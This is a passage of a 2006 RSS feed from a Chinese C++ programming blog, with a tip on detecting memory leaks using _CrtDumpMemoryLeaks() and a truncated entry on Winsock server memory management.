/>2.程序/函数结束时调用<br /> _CrtDumpMemoryLeaks(); <img src ="http://www.cppblog.com/basecolor/aggbug/15461.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/basecolor/" target="_blank">原色</a> 2006-11-20 13:30 <a href="http://www.cppblog.com/basecolor/archive/2006/11/20/15461.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>服务器</title><link>http://www.cppblog.com/basecolor/archive/2006/11/14/15163.html</link><dc:creator>原色</dc:creator><author>原色</author><pubDate>Tue, 14 Nov 2006 15:59:00 GMT</pubDate><guid>http://www.cppblog.com/basecolor/archive/2006/11/14/15163.html</guid><wfw:comment>http://www.cppblog.com/basecolor/comments/15163.html</wfw:comment><comments>http://www.cppblog.com/basecolor/archive/2006/11/14/15163.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/basecolor/comments/commentRss/15163.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/basecolor/services/trackbacks/15163.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 服务器高效内存管理http://msdn.microsoft.com/msdnmag/issues/1000/Winsock/										DWORD WINAPI WorkerThread(LPVOID lpParam)																								{    ULONG_PTR      						*						PerHandle...&nbsp;&nbsp;<a href='http://www.cppblog.com/basecolor/archive/2006/11/14/15163.html'>阅读全文</a><img src ="http://www.cppblog.com/basecolor/aggbug/15163.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/basecolor/" target="_blank">原色</a> 2006-11-14 23:59 <a href="http://www.cppblog.com/basecolor/archive/2006/11/14/15163.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>